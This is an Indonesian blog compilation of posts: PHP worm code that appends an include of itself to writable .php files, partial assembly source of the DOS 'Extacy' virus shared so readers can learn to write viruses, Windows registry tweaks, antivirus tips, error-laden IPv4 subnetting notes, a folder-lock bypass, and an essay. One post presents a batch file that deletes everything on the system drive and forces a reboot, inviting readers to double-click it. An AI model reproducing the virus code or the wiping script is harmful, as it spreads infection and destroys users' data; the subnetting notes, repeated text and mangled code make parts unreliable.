membuat virus itu bisa dengan bahasa apa saja. salah satunya adalah dengan bahasa pemrograman php. saya sendiri masih awam dengan bahasa ini, akan tetapi apa salahnya sih kita mencoba latihan??????// oke langsung saja.
virus ini juga dikenal dengan nama I-Worm.PHP.indonesia buata sevenC.
-------------------------------Code-------------------------------
// #################################################
// # PHP.Indonesia made for all Chicken looser ground the
world #
// # By sevenC / N0:7
#
// # http://sevenc.vze.com
#
// # sevenC_zone@yahoo.com
#
// ##################################################
$jawa = "indonesia.php\n";
$sumatra = "Wellcome to Indonesian PHPlovers.\n";
$kalimantan = $jawa . $sumatra;
echo $kalimantan;
$all = opendir('C:\Windows\');
$all1 = opendir('C:\My Documents\');
$all2 = opendir('C:\InetPub\wwwRoot\');
$all3 = $all && $all1 && $all2
while ($file = readdir($all3))
{
$inf = true;
$exe = false;
if ( ($exe = strstr ($file, '.php')) || ($exe = strstr
($file, '.php2')) || ($exe = strstr ($file, '.php3')) )
if ( is_file($file) && is_writeable($file) )
{
$new = fopen($file, "r");
$look = fread($new, filesize($file));
$yes = strstr ($look, 'indonesia.php');
if (!$yes) $inf = false;
}
if ( ($inf=false) )
{
$new = fopen($file, "a");
$fputs($new, "");
$fputs($new, "
$fputs($new, "include(\"");
$fputs($new, __FILE__);
$fputs($new, "\"); ");
$fputs($new, "?>");
return;
}
-Agar catatan dapat diakses melalui windows desktop caranya denagn membuat ShortCut
-Caranya Klik kanan pada desktop NEW>ShortCut.
-Pada kotak type the location of the item klik browser lalu cari:
"C:\ProgramFile\MicrosoftOffice\Office10\OutLook.Exe" /C ipm.Stickynote
-Klik next lau finish.
-Caranya Klik kanan pada desktop NEW>ShortCut.
-Pada kotak type the location of the item klik browser lalu cari:
"C:\ProgramFile\MicrosoftOffice\Office10\OutLook.Exe" /C ipm.Stickynote
-Klik next lau finish.
-Regedit
-HKEY_LOCAL_MACHINE\Sistem\CurrentControlSet\Service\CD-room
Buatlah value dengan nama "AutoRun" isi data dengan angka 0 (disable)
1 (Enable)
-Restart.
-HKEY_LOCAL_MACHINE\Sistem\CurrentControlSet\Service\CD-room
Buatlah value dengan nama "AutoRun" isi data dengan angka 0 (disable)
1 (Enable)
-Restart.
-Regedit
-HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\
WinLogOn
Carilah Dword value bernama "Sfcscan" ubah nilai value
dari 0 menjadi 1
-Restart
-HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\
WinLogOn
Carilah Dword value bernama "Sfcscan" ubah nilai value
dari 0 menjadi 1
-Restart
-Start>Run ketikan sfc/scannow
-Masukan cd windows xp kedalam cd room dirve jika diminta.
-Masukan cd windows xp kedalam cd room dirve jika diminta.
-Regedit
-HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer
Buat suatu value baru (Dword) dengan nama "ClearRecentDocsOnExit"
isi data dengan 1
-Restart
-HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer
Buat suatu value baru (Dword) dengan nama "ClearRecentDocsOnExit"
isi data dengan 1
-Restart
-Regedit
-HKEY_CLASSES_ROOT\*\SHELLex\Context\MenuHandlers
Buat Key Baru dengan cara klik kanan pada key "ContextMenuHandlers" ketikan {645FF040_5081_101B_9F08_00AA002F954E}
-Restart.
Catatan:
-Format jam pada time style ada;
H = 24 Hours
h = 12 hours
-HKEY_CLASSES_ROOT\*\SHELLex\Context\MenuHandlers
Buat Key Baru dengan cara klik kanan pada key "ContextMenuHandlers" ketikan {645FF040_5081_101B_9F08_00AA002F954E}
-Restart.
Catatan:
-Format jam pada time style ada;
H = 24 Hours
h = 12 hours
-Regedit
-HKEY_USER\.Default\Software\Microsoft\Windows\CurrentVersion\Applets\
Defrag\DisableScreenServer
-Apabila folder (key) "DisableScreenServer" belum ada buatlah terlebih dahulu.
-Pada value default di "DisableScreenServer" isikan dengan "Yes"
-HKEY_USER\.Default\Software\Microsoft\Windows\CurrentVersion\Applets\
Defrag\DisableScreenServer
-Apabila folder (key) "DisableScreenServer" belum ada buatlah terlebih dahulu.
-Pada value default di "DisableScreenServer" isikan dengan "Yes"
-Tools>Option
-Pada kotak macro name, tuliskan tools options & pada kotak pilihan storeMacroIn, pilihlah All Document (Normal.Dot)
-OK...!
-Lanjutkan dengan Tools>Macro>StopRecording
-Tools>Macro>Macros (diklik)
pada kotak macros, pilihlah ToolsOptions yang terdapat didalam kotak didalam daftar Macros name, klik edit
-Jendela visual basic editor akan terbuka, kemudian antara baris code subToolsOptions () dan End sub tiliskan kode:"MsgBox("Maaf anda tidak dapat membuka menu ini")
-Dapat pula dilakukan pengaturan untuk costomize.
-Pada kotak macro name, tuliskan tools options & pada kotak pilihan storeMacroIn, pilihlah All Document (Normal.Dot)
-OK...!
-Lanjutkan dengan Tools>Macro>StopRecording
-Tools>Macro>Macros (diklik)
pada kotak macros, pilihlah ToolsOptions yang terdapat didalam kotak didalam daftar Macros name, klik edit
-Jendela visual basic editor akan terbuka, kemudian antara baris code subToolsOptions () dan End sub tiliskan kode:"MsgBox("Maaf anda tidak dapat membuka menu ini")
-Dapat pula dilakukan pengaturan untuk costomize.
-Regedit
-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
System
Buat suatu DWORD value dengan nama "NoDispScrSavPage lalu isikan nilainya dengan angka 1 untuk mengembalikanya ganti angka satu dengan 0
-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
System
Buat suatu DWORD value dengan nama "NoDispScrSavPage lalu isikan nilainya dengan angka 1 untuk mengembalikanya ganti angka satu dengan 0
oke...
artikel ini saya ambil pada Date: Sunday, December 18, 2005 Hits: 12049 By: Sibie Project
Bagi yang ingin mempelajari bagaimana membuat virus ataupun antivirus, pada kesempatan kali ini di bagikan source code virus Extacy dan Zero Hunt.Setidaknya sebagian ilmu dan teknik dapat diambil dari ke2 virus di bawah ini.
Virus Extacy ------------------------------------------------------------------------
.model tiny
.code
.radix 16
.code
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnGNU:
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h
push cx
push dx
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectNOT
cmp ds:[di],'MZ'
jz infectNOT
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
db "EXTASY!"
db "(c) Metal Militia / Immortal Riot"
01_ Gunakan antivirus yang senantiasa di update, paling tidak seminggu sekali, jika online maka aktifkan auto update pada antivirus
02_ Non aktifkan fasilitas autorun pada komputer kita, sehingga CD-ROM maupun flashdisk yang kita masukkan ke komputer tidak langsung menjalankan file yang ada di dalamnya. Bagi yang belum tahu, bisa di cari caranya di blog ini
03_ Tampilkan semua ekstensi file windows, termasuk file system windows. Caranya : Di windows explorer buka menu Tools > Folder Options… kemudian pilih tab view Kemudian pilih (aktifkan) opsi “show hidden files and folder”, hilangkan check pada pilihan “Hide extensions for known file types” juga hilangkan tanda check pada “Hide protected operating system files (Recommended)”.
04_ Periksa setiap flashdisk yang dimasukkan apakah ada file autorun.inf, jika ada coba dilihat isinya, jika mengacu ke sebuah file .exe, .dll atau .scr yang aneh / hidden, segera hapus file-nya atau scan dengan antivirus
Ini yang mungkin sangat penting : Jika komputer digunakan oleh banyak orang, minta agar pengguna berhati-hati sebelum menjalankan sebuah file, jangan hanya melihat icon-nya, tapi melihat ekstensinya. Misalnya file itu dengan icon ms word, excel, gambar, mp3 dsb tetapi kok berekstensi .exe, .scr, .vbs, .bat atau tidak sesuai dengan iconnya, harap diwaspadai
Ini yang mungkin sangat penting : Jika komputer digunakan oleh banyak orang, minta agar pengguna berhati-hati sebelum menjalankan sebuah file, jangan hanya melihat icon-nya, tapi melihat ekstensinya. Misalnya file itu dengan icon ms word, excel, gambar, mp3 dsb tetapi kok berekstensi .exe, .scr, .vbs, .bat atau tidak sesuai dengan iconnya, harap diwaspadai
05_Gunakan tools / program seperti autoruns untuk melihat file/program apa saja yang berjalan ketika windows diaktifkan. Jika ada program yang aneh segera tanyakan kepada orang yang lebih tahu.
selamat beraksi
IPV4 itu yang terdiri dari 4 segment xxx.xxx.xxx.xxx = 32 bit
dimana 1 segment = 1byte = 8bit
nilai total dari masing2 segment adalah 255
itu diambil dari perpangkatan 2 pangkat bilangan dari 0-7
nilainya 128+64+32+16+8+4+2+1= 255
bila nilai 255 maka nilia bit persegment = 1 1 1 1 1 1 1 1
misal IP 192.168.10.1 / 24
maka nilai IP segment pertama :
1 1 0 0 0 0 0 0 . 1 0 1 0 1 0 0 0 . 0 0 0 0 1 0 1 0 . 0 0 0 0 0 0 0 1
192 . 168 . 10 . 1
dan / 32 adalah subnet masknya dari jumlah bitnya..
1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 0 0 0 0 0 0 0 0
255 . 255 . 255 . 0
IP Address
class A, range 1-126, IP Private 1.0.0.1 s/d 126.255.255.254, subnet mask 255.0.0.0
class B, range 128-191, IP Private 128.0.0.1 s/d 191.255.255.254, subnet mask 255.255.0.0
class C, range 191-223, IP Prvate 191.0.0.1 s/d 223.255.255.254, subnet mask 255.255.255.0
nb :
IP 127.0.0.1 itu untuk IP loopback/ localhost
IP 0.0.0.0 dan 255.255.255.255 untuk broadcast
untuk class D dan E dah jarang di gunakan, jadi yang ini aja ya
contoh :
IP class A, misal : 100.10.10.1
maka subnet mask : 255.0.0.0
IP class B, misal : 172.16.10.1
maka subnet mask : 255.255.0.0
IP class C, misal : 192.168.10.1
maka subnet mask : 255.255.255.0
Network dan Host
class A, Network ID W.0.0.0, Host ID 0.X.Y.Z, jumlah PC 16,777,214 hosts
class B, Network ID W.X.0.0, Host ID 0.0.Y.Z, jumlah PC 65,532 hosts
class C, Network ID W.X.Y.0, Host ID 0.0.0.Z, jumlah PC 254 hosts
contoh:
IP class A, misal : 100.10.10.1
maka Network ID : 100.0.0.0
dan Host ID : 0.10.10.1
IP class B, misal : 172.16.10.1
maka Network ID : 172.16.0.0
dan Host ID : 0.0.10.1
IP class C, misal : 192.168.10.1
maka Network ID : 192.168.10.0
dan Host ID : 0.0.0.1
Subnetting
rumus:
1. Mencari IP Pertaman = 265-jumlah nilai range terakhir
2. Jumlah Network ID = 2^x-2
dimana, x = nilai bit pada segment terakhir yang bernilai 1
3. Jumlah Host ID = 2^y-2
dimana, y= nilai bit pada segment terakhir yang bernilai 0
defaut subnet:
/8 = 255.0.0.0
/16 = 255.255.0.0
/24 = 255.255.255.0
dimana subnetting hanya menentukan jumlah dari Network ID dan Jumlah Host ID
source :devilzc0de
dimana 1 segment = 1byte = 8bit
nilai total dari masing2 segment adalah 255
itu diambil dari perpangkatan 2 pangkat bilangan dari 0-7
nilainya 128+64+32+16+8+4+2+1= 255
bila nilai 255 maka nilia bit persegment = 1 1 1 1 1 1 1 1
misal IP 192.168.10.1 / 24
maka nilai IP segment pertama :
1 1 0 0 0 0 0 0 . 1 0 1 0 1 0 0 0 . 0 0 0 0 1 0 1 0 . 0 0 0 0 0 0 0 1
192 . 168 . 10 . 1
dan / 32 adalah subnet masknya dari jumlah bitnya..
1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 0 0 0 0 0 0 0 0
255 . 255 . 255 . 0
IP Address
class A, range 1-126, IP Private 1.0.0.1 s/d 126.255.255.254, subnet mask 255.0.0.0
class B, range 128-191, IP Private 128.0.0.1 s/d 191.255.255.254, subnet mask 255.255.0.0
class C, range 191-223, IP Prvate 191.0.0.1 s/d 223.255.255.254, subnet mask 255.255.255.0
nb :
IP 127.0.0.1 itu untuk IP loopback/ localhost
IP 0.0.0.0 dan 255.255.255.255 untuk broadcast
untuk class D dan E dah jarang di gunakan, jadi yang ini aja ya
contoh :
IP class A, misal : 100.10.10.1
maka subnet mask : 255.0.0.0
IP class B, misal : 172.16.10.1
maka subnet mask : 255.255.0.0
IP class C, misal : 192.168.10.1
maka subnet mask : 255.255.255.0
Network dan Host
class A, Network ID W.0.0.0, Host ID 0.X.Y.Z, jumlah PC 16,777,214 hosts
class B, Network ID W.X.0.0, Host ID 0.0.Y.Z, jumlah PC 65,532 hosts
class C, Network ID W.X.Y.0, Host ID 0.0.0.Z, jumlah PC 254 hosts
contoh:
IP class A, misal : 100.10.10.1
maka Network ID : 100.0.0.0
dan Host ID : 0.10.10.1
IP class B, misal : 172.16.10.1
maka Network ID : 172.16.0.0
dan Host ID : 0.0.10.1
IP class C, misal : 192.168.10.1
maka Network ID : 192.168.10.0
dan Host ID : 0.0.0.1
Subnetting
rumus:
1. Mencari IP Pertaman = 265-jumlah nilai range terakhir
2. Jumlah Network ID = 2^x-2
dimana, x = nilai bit pada segment terakhir yang bernilai 1
3. Jumlah Host ID = 2^y-2
dimana, y= nilai bit pada segment terakhir yang bernilai 0
defaut subnet:
/8 = 255.0.0.0
/16 = 255.255.0.0
/24 = 255.255.255.0
dimana subnetting hanya menentukan jumlah dari Network ID dan Jumlah Host ID
source :devilzc0de
ua.... ngantuk juga lama2 didepan laptop. okelah, sebelum bubuk aku mau posting sedikit ilmu tentang cara mempercepat koneksi internet. begini caranya...
pertama yang harus kamu siapin adalah notpad. buka notpad tersebut lalu copykan kode dibawah ini !!!
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“TCPWindowSize”=dword:000faf00
“GlobalMaxTcpWindowSize”=dword:000faf00
“EnablePMTUDiscovery”=dword:00000001
“SackOpts”=dword:00000001
“DefaultTTL”=dword:00000200
“TcpMaxDupAcks”=dword:00000002
“Tcp1323Opts”=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
“MaxNegativeCacheTtl”=dword:00000000
“NetFailureCacheTime”=dword:00000000
“NegativeSOACacheTime”=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Psched]
“NonBestEffortLimit”=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\ServiceProvider]
“LocalPriority”=dword:00000006
“HostsPriority”=dword:00000007
“DnsPriority”=dword:00000008
“NetbtPriority”=dword:00000009
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{A360487D-4138-479C-A0F6-D03C8EC28926}]
“MTU”=dword:000005dc
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters]
“SizReqBuf”=dword:00004000
nah, lalu simpan file tersebut dengan ekstensi .reg
selamat mencoba
pertama yang harus kamu siapin adalah notpad. buka notpad tersebut lalu copykan kode dibawah ini !!!
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“TCPWindowSize”=dword:000faf00
“GlobalMaxTcpWindowSize”=dword:000faf00
“EnablePMTUDiscovery”=dword:00000001
“SackOpts”=dword:00000001
“DefaultTTL”=dword:00000200
“TcpMaxDupAcks”=dword:00000002
“Tcp1323Opts”=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
“MaxNegativeCacheTtl”=dword:00000000
“NetFailureCacheTime”=dword:00000000
“NegativeSOACacheTime”=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Psched]
“NonBestEffortLimit”=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\ServiceProvider]
“LocalPriority”=dword:00000006
“HostsPriority”=dword:00000007
“DnsPriority”=dword:00000008
“NetbtPriority”=dword:00000009
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{A360487D-4138-479C-A0F6-D03C8EC28926}]
“MTU”=dword:000005dc
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters]
“SizReqBuf”=dword:00004000
nah, lalu simpan file tersebut dengan ekstensi .reg
selamat mencoba
membaca judulnya kok kayaknya nakutin ya. aku aja belum pernah mraktekin. ya itung2 cuman nambah pengetahuan. buka notpad di komputermu dan tuliskan perintah di bawah ini
Code:
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
File name = .bat
type file = All file
Encoding = ANSI
key...
simpan dengan ekstensi ".bat"
lalu klik 2x pada file tersebut.em... apa yang terjadi????
Code:
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
File name = .bat
type file = All file
Encoding = ANSI
key...
simpan dengan ekstensi ".bat"
lalu klik 2x pada file tersebut.em... apa yang terjadi????
Artikel kali ini akan membahas cara membongkar atau membuka folder yang diproteksi dengan menggunakan Folder Access.
Tips ini cukup berguna kalau Anda mempunyai folder yang diproteksi dengan Folder Access tapi lupa passwordnya.
Caranya adalah sebagai berikut:
1. Jalankan Task Manager dengan menekan tombol Ctrl + Alt + Del.
2. Cari LckFldService, kalau sudah ketemu klik tombol End Task untuk menghentikan aplikasi tersebut.
3. Sebagai contoh, folder yang diproteksi dengan menggunakan Folder Access adalah folder test.
Folder yang diproteksi dengan Folder Access
4. Buka Notepad dan ketik baris di bawah ini:
ren test.{21EC2020-3AEA-1069-A2DD-08002B30309D} test
Ganti tulisan test di atas dengan nama folder yang akan dibuka proteksinya.
5. Simpan file tersebut sebagai file bat. Caranya, pada kotak dialog Save, pada bagian Save as type ubah menjadi All Files. Pada contoh ini nama filenya adalah unlock.bat. Simpan file terebut satu drive atau satu folder dengan folder yang akan dibuka proteksinya.
Membuat file bat
6. Untuk membuka proteksi Folder Access, klik 2x pada file unlock.bat.
Jalankan file unlock.bat
Ah.. liburan memang hal yang sangat membosankan. Iseng2 aku membuka buku memori zaman SMA dulu. Terpampang kembali saat lugu bersama teman2, gak terasa waktu sudah berlalu begitu cepat dan kini yang tertinggal hanyalah kenangan. Jadi inget tempo dulu pas di SMA aku dan teman2 OSIS ngadain pameran lukisan cete. Meriaaaah banget ampe mengundang pihak jawa pos datang segala. Namun, dari sekian banyaknya lukisan yang terpampang. Ada satu lukisan yang mencolok dan menjadi sorotan publik. Kalian tau judulnya apa?.... judulnya adalah “berdzikir bersama inul”.
Seperti terhadap inul sendiri lukisan itu terus berputar, mencoba mengebor isi kepala semua orang yang melihatnya. Jujur saja, selama ini saya termasuk orang yang resah dengan perkembangan manusia Indonesia yang seperti tak sadar2 akan adanya hegemoni dunia/ materi atas “kepalanya”. Ketika orde baru menerapkan secara serampangan system kapitalis di negeri pancasila ini, manusianya pun semakin terbentuk sebagai manusia materialistis seperti amerika. Manusia yang fikiran dan perhatianya terpusat kepada kepentingan duniawi dan cenderung hanya memanjakan raga, jasad, badan, jasmani, daging lalu mengabaikan jiwa ,ruh, dan nurani.
Kita secara resmi selalu menyanyikan “BANGUNLAH JIWANYA, BANGUNLAH BADANYA” namun badan saja yang terus kita bangun. Kitapun menjadi manusia yang berpenampilan “modern” namun dengan isi kepala yang primitive. Gagah secara lahir dan keropos di batin. Lihatlah !!! kita panic setengah mati, dengan segala yang diduga mengancam jasmani kita. Padahal sering kali semua itu justru akibat ulah kita sendiri yang dipengaruhi pandangan hidup serba daging. Sementara terhadap hal2 yang mengancam jiwa dan nurani, kita tampak ayem2 saja. Kebejatan2 yang terjadi di sekitar kita. Kiranya hanya hasil logis dari itu semua. Korupsi yang meraja lela dan tidak kunjung menyentuh rasa malu para pelakunya, berdesak2 berebut jabatan dan kekuasaan tanpa memikirkan tanggung jawab dan amanahya, berkelahi sesame saudara secara bengis, premanisasi yang semakin membudaya, kemunafikan yang terus dipamerkan secara fasih, sampai dengan masalah pornografi, narkoba dan kriminalitas lainya adalah keniscayaan yang tidak ungkin diberantas kecuali dengan rahmat Alloh.
Dalam kehidupan keberagamaan pun, warna daging itu tampak kental. Pembangunan peribadahan hanya dimengerti sebagai pembangunan fisikk. Dimana mana masjid indah dibangun, bahkan terkadang satu kampong dibangun beberapa masjid indah dan megah. Sementara itu jarang sekali yang menengok tentang isi2 masjid itu. Masjid2 akbar hanya akan agak penuh 1 th 2 kali dan seminggu sekali dalam beberapa jam atau menit saja. Syiar islam diciutkan hanya sebagai pengeras suara. Pelajaran agama yang diperjuangkan mati – matian oleh para pejuang muslim untuk diajarkan disekolah2 tidak pernah ditengok atau difikirkan apakah pelajaran2 itu merupakan pelajaran2 inti agama yang dapat membawa anak didik menjadi umat beragama yang saleh, atau sekedar pelajaran2 daging yang hanya untuk memperoleh nilai2 daging dalam rapor yang daging.
Bila islam dimengerti hanya sebagai daging tanpa ruh, maka orang islam pun akan dapat dengan mudah berkelahi dengan saudaranya sendiri sesama orang islam. Misalnya seperti kita ketahui orang islam ada 2. Mukmin dan munafik. Mukmin sejati ditandai dengan banyak berdzikir, sedangkan munafik hanya sedikit berdzikir. Lalu bagaimana orang bias berdzikir hanya dengan daging?
Bagi saya, fenomena inul adalah sindiran tuhan kepada kita, manusia serba daging ini. Inul adalah symbol daging paling daging. Kepala yang penuh daging, meski disorbani segede ban radial, hanya akan melihat daging inul sebagai daging. Inul agaknya diciptakan tuhan untuk mengebor kepala kita yang error.
Belakangan rupanya Alloh tidak lagi menyindir, tapi sudah member pelajaran yang luar biasa, semacam shock terapi. Dalam wujud tindakan biadab amerika dan kroni2nya terhadap kemanusiaan di irak. Itulah wajah asli imperialisme yang selama ini kita jadikan kiblat peradaban dan kita jadikan teladan hidup. Hanya karena mengincar cadangan minyak timur tengah, menjaga kepentinganya di Israel, dan dollarnya. Amerika dan kroni2nya menghalalkan segala cara dan mengabaikan nurani dunia. Lalu hamper bersamaan, kitapun dipanikan dengan apa yang disebut SARS , wabah yang mengancam daging kita.
Tinggal kita, apakah kita bisa mencerdasi berbagai sindiran dan pelajaran dari tuhan itu lalu sadar dan kembali kepada ajaraNya. Ataukah itu semua tak berarti apa2 bagi kita dan kita tetap bersikukuh mempertahankan pandangan hidup yang serba duniawi seperti sekarang ini?
Langganan:
Postingan (Atom)